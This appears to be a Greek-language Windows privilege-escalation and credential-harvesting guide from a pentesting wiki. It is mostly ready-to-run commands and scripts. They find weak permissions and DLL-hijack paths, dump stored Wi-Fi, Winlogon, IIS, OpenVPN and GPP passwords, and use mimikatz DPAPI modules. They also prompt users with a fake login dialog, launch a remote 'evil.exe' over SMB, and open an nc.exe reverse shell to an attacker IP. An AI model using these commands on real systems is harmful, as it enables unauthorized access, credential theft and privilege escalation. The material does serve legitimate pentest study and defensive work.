Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα πρέπει να ακολουθηθούν σε περίπτωση αποτυχίας ενός υπηρεσίας. Αυτό το χαρακτηριστικό μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, τότε ενδέχεται να υπάρχει δυνατότητα ανόδου προνομίων. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην επίσημη τεκμηρίωση.

Εφαρμογές

Εγκατεστημένες Εφαρμογές

Ελέγξτε τις άδειες των δυαδικών αρχείων (ίσως μπορείτε να αντικαταστήσετε ένα και να αναβαθμίσετε τα προνόμια) και των φακέλων (Διαρροή DLL).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Δικαιώματα Εγγραφής

Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο αρχείο ρύθμισης για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο δυαδικό που θα εκτελεστεί από ένα λογαριασμό Διαχειριστή (schedtasks).

Ένας τρόπος να βρείτε αδύναμες άδειες φακέλων/αρχείων στο σύστημα είναι:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Εκτέλεση κατά την εκκίνηση

Ελέγξτε εάν μπορείτε να αντικαταστήσετε κάποιο κλειδί μητρώου ή δυαδικό που θα εκτελεστεί από διαφορετικό χρήστη. Διαβάστε την παρακάτω σελίδα για να μάθετε περισσότερα για ενδιαφέρουσες τοποθεσίες εκκίνησης για την ανύψωση δικαιωμάτων:

pagePrivilege Escalation with Autoruns

Οδηγοί

Αναζητήστε πιθανούς τρίτους παράξενους/ευάλωτους οδηγούς

driverquery
driverquery.exe /fo table
driverquery /SI

ΕΚΜΕΤΑΛΛΕΥΣΗ DLL Hijacking

Εάν έχετε δικαιώματα εγγραφής μέσα σε έναν φάκελο που υπάρχει στο PATH, μπορείτε να καταφέρετε να εκμεταλλευτείτε ένα DLL που φορτώνεται από ένα διεργασία και να αναβαθμίσετε τα δικαιώματά σας.

Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτόν τον έλεγχο:

pageWritable Sys Path +Dll Hijacking Privesc

Δίκτυο

Κοινοποιήσεις

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

αρχείο hosts

Ελέγξτε για άλλους γνωστούς υπολογιστές που έχουν καταχωρηθεί στατικά στο αρχείο hosts

type C:\Windows\System32\drivers\etc\hosts

Δικτυακές Διεπαφές & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Ανοιχτές Θύρες

Ελέγξτε για περιορισμένες υπηρεσίες από το εξωτερικό

netstat -ano #Opened ports?

Πίνακας Δρομολόγησης

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Πίνακας ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Κανόνες του τοίχου προστασίας

Ελέγξτε αυτήν τη σελίδα για σχετικές εντολές τοίχου προστασίας (κατάλογος κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)

Περισσότερες εντολές για απαρίθμηση δικτύου εδώ

Υποσύστημα Windows για Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Το δυαδικό bash.exe μπορεί επίσης να βρεθεί στο C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Αν αποκτήσετε ριζικό χρήστη μπορείτε να ακούτε σε οποιαδήποτε θύρα (την πρώτη φορά που χρησιμοποιείτε το nc.exe για να ακούσετε σε μια θύρα, θα ζητηθεί μέσω GUI αν το nc πρέπει να επιτραπεί από το τείχος προστασίας).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Για να ξεκινήσετε εύκολα το bash ως ριζικό χρήστη, μπορείτε να δοκιμάσετε --default-user root

Μπορείτε να εξερευνήσετε το σύστημα αρχείων του WSL στον φάκελο C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Διαπιστεύσεις Windows

Διαπιστεύσεις Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Διαχειριστής διαπιστεύσεων / Θησαυρός των Windows

Από https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault Ο Θησαυρός των Windows αποθηκεύει τις διαπιστεύσεις χρήστη για διακομιστές, ιστότοπους και άλλα προγράμματα που τα Windows μπορούν να συνδεθούν αυτόματα. Αρχικά, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τις διαπιστεύσεις τους για το Facebook, το Twitter, το Gmail κλπ., ώστε να συνδέονται αυτόματα μέσω περιηγητών. Αλλά δεν είναι έτσι.

Ο Θησαυρός των Windows αποθηκεύει διαπιστεύσεις που τα Windows μπορούν να συνδεθούν αυτόματα, πράγμα που σημαίνει ότι οποιαδήποτε εφαρμογή των Windows που χρειάζεται διαπιστεύσεις για πρόσβαση σε ένα πόρο (διακομιστή ή ιστότοπο) **μπορεί να χρησιμοποιήσει αυτόν τον Διαχειριστή Διαπιστεύσεων & τον Θησαυρό των Windows και να χρησιμοποιήσει τις παρεχόμενες διαπιστεύσεις αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.

Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Διαχειριστή Διαπιστεύσεων, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τις διαπιστεύσεις για έναν συγκεκριμένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει τον θησαυρό, θα πρέπει κάπως να επικοινωνήσει με τον διαχειριστή διαπιστεύσεων και να ζητήσει τις διαπιστεύσεις για αυτόν τον πόρο από τον προεπιλεγμένο θησαυρό αποθήκευσης.

Χρησιμοποιήστε το cmdkey για να εμφανίσετε τις αποθηκευμένες διαπιστεύσεις στη μηχανή.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Στη συνέχεια μπορείτε να χρησιμοποιήσετε το runas με τις επιλογές /savecred για να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός κοινόχρηστου φακέλου SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Χρησιμοποιώντας το runas με ένα συγκεκριμένο σύνολο διαπιστευτήριων.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Σημειώστε ότι το mimikatz, lazagne, credentialfileview, VaultPasswordView, ή από το Empire Powershells module.

DPAPI

Το Data Protection API (DPAPI) παρέχει έναν τρόπο για τη συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενο εντός του λειτουργικού συστήματος Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλει σημαντικά στην εντροπία.

Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά στοιχεία σύνδεσης του χρήστη. Σε περιπτώσεις που αφορούν την κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά ελέγχου ταυτότητας του τομέα του συστήματος.

Τα κρυπτογραφημένα RSA κλειδιά χρήστη, χρησιμοποιώντας το DPAPI, αποθηκεύονται στον κατάλογο %APPDATA%\Microsoft\Protect\{SID}, όπου {SID} αντιπροσωπεύει το Αναγνωριστικό Ασφαλείας του χρήστη. Το κλειδί DPAPI, συνυπάρχει με τον κύριο κλειδί που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στον ίδιο φάκελο, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την εμφάνιση των περιεχομένων του μέσω της εντολής dir στο CMD, αν και μπορεί να εμφανιστεί μέσω PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::masterkey με τα κατάλληλα ορίσματα (/pvk ή /rpc) για να το αποκρυπτογραφήσετε.

Τα αρχεία διαπιστευτήρων που προστατεύονται από τον κύριο κωδικό πρόσβασης συνήθως βρίσκονται στο:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::cred με το κατάλληλο /masterkey για να αποκρυπτογραφήσετε. Μπορείτε να εξάγετε πολλά DPAPI masterkeys από τη μνήμη με το module sekurlsa::dpapi (αν είστε root).

pageDPAPI - Extracting Passwords

Διαπιστευτήρια PowerShell

Τα PowerShell credentials χρησιμοποιούνται συχνά για scripting και εργασίες αυτοματισμού ως ένας τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με βολικό τρόπο. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας DPAPI, το οποίο συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν.

Για να αποκρυπτογραφήσετε ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

Ασύρματο Δίκτυο

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Αποθηκευμένες Συνδέσεις RDP

Μπορείτε να τις βρείτε στο HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\ και στο HKCU\Software\Microsoft\Terminal Server Client\Servers\

Πρόσφατες Εκτελεσμένες Εντολές

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Διαχειριστής Διαπιστεύσεων Απομακρυσμένης Επιφάνειας Εργασίας

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Χρησιμοποιήστε το Mimikatz dpapi::rdg module με το κατάλληλο /masterkey για να αποκρυπτογραφήσετε οποιαδήποτε αρχεία .rdg Μπορείτε να εξάγετε πολλά DPAPI masterkeys από τη μνήμη με το Mimikatz sekurlsa::dpapi module

Σημειώσεις Sticky

Οι άνθρωποι χρησιμοποιούν συχνά την εφαρμογή StickyNotes στα Windows workstations για να αποθηκεύουν κωδικούς πρόσβασης και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι πρόκειται για ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στη διαδρομή C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite και αξίζει πάντα να αναζητείτε και να το εξετάζετε.

AppCmd.exe

Σημειώστε ότι για να ανακτήσετε κωδικούς πρόσβασης από το AppCmd.exe πρέπει να είστε Διαχειριστής και να τρέχετε υπό υψηλό επίπεδο Integrity. Το AppCmd.exe βρίσκεται στον κατάλογο %systemroot%\system32\inetsrv\. Αν αυτό το αρχείο υπάρχει, τότε είναι πιθανό ότι έχουν διαμορφωθεί κάποια διαπιστευτήρια και μπορούν να ανακτηθούν.

Αυτός ο κώδικας εξήχθη από το PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Ελέγξτε εάν υπάρχει το C:\Windows\CCM\SCClient.exe. Οι εγκαταστάτες εκτελούνται με δικαιώματα SYSTEM, πολλοί είναι ευάλωτοι στο DLL Sideloading (Πληροφορίες από https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Αρχεία και Καταχωρήσεις (Διαπιστευτήρια)

Διαπιστευτήρια Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Κλειδιά Κεντρικού Οικοδεσπότη SSH του Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Κλειδιά SSH στο μητρώο

Τα ιδιωτικά κλειδιά SSH μπορούν να αποθηκευτούν μέσα στο κλειδί μητρώου HKCU\Software\OpenSSH\Agent\Keys, οπότε θα πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Εάν βρείτε οποιαδήποτε καταχώριση μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι ένα κρυπτογραφημένο κλειδί SSH. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας https://github.com/ropnop/windows_sshagent_extract. Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Εάν η υπηρεσία ssh-agent δεν εκτελείται και θέλετε να ξεκινά αυτόματα κατά την εκκίνηση, εκτελέστε:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Δοκίμασα να δημιουργήσω μερικά κλειδιά ssh, να τα προσθέσω με την εντολή ssh-add και να συνδεθώ μέσω ssh σε μια μηχανή. Το κλειδί HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν ανέγνωρισε τη χρήση του dpapi.dll κατά την αυθεντικοποίηση με ασύμμετρο κλειδί.

Ανεπίτρεπτα αρχεία

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Μπορείτε επίσης να αναζητήσετε αυτά τα αρχεία χρησιμοποιώντας το metasploit: post/windows/gather/enum_unattend

Παράδειγμα περιεχομένου:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Αντίγραφα ασφαλείας SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Cloud Διαπιστευτήρια

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Αναζητήστε ένα αρχείο που ονομάζεται SiteList.xml

Cached GPP Password

Προηγουμένως υπήρχε μια δυνατότητα που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανών μέσω των Προτιμήσεων Ομάδας Πολιτικής (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά ελαττώματα ασφαλείας. Καταρχήν, τα Αντικείμενα Ομάδας Πολιτικής (GPOs), αποθηκευμένα ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημοσίως τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό αντιπροσώπευε ένα σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια.

Για τη μείωση αυτού του κινδύνου, αναπτύχθηκε μια λειτουργία για τον έλεγχο των τοπικά αποθηκευμένων αρχείων GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Κατά τον εντοπισμό ενός τέτοιου αρχείου, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στον εντοπισμό και την αντιμετώπιση αυτής της ευπάθειας ασφαλείας.

Αναζητήστε στο C:\ProgramData\Microsoft\Group Policy\history ή στο C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (προηγούμενο του W Vista) για αυτά τα αρχεία:

  • Groups.xml

  • Services.xml

  • Scheduledtasks.xml

  • DataSources.xml

  • Printers.xml

  • Drives.xml

Για την αποκρυπτογράφηση του cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Χρησιμοποιώντας το crackmapexec για να πάρετε τους κωδικούς πρόσβασης:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Ρύθμιση Ιστοσελίδας

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Παράδειγμα web.config με διαπιστευτήρια:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Διαπιστευτήρια OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Αρχεία καταγραφής

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Ζητήστε διαπιστευτήρια

Μπορείτε πάντα να ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμα και τα διαπιστευτήρια ενός διαφορετικού χρήστη αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι να ζητήσετε απευθείας από τον πελάτη τα διαπιστευτήρια είναι πραγματικά επικίνδυνο):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Πιθανά ονόματα αρχείων που περιέχουν διαπιστευτήρια

Γνωστά αρχεία που κάποτε περιείχαν κωδικούς πρόσβασης σε κείμενο ή Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Αναζητήστε όλα τα προτεινόμενα αρχεία:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Διαπιστευτήρια στον Κάδο Ανακύκλωσης

Θα πρέπει επίσης να ελέγξετε τον Κάδο για να βρείτε διαπιστευτήρια μέσα σε αυτόν.

Για ανάκτηση κωδικών που έχουν αποθηκευτεί από διάφορα προγράμματα, μπορείτε να χρησιμοποιήσετε: http://www.nirsoft.net/password_recovery_tools.html

Μέσα στο μητρώο

Άλλοι πιθανοί κλειδιά μητρώου με διαπιστευτήρια

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Εξαγωγή κλειδιών openssh από το registry.

Ιστορικό Περιηγητών

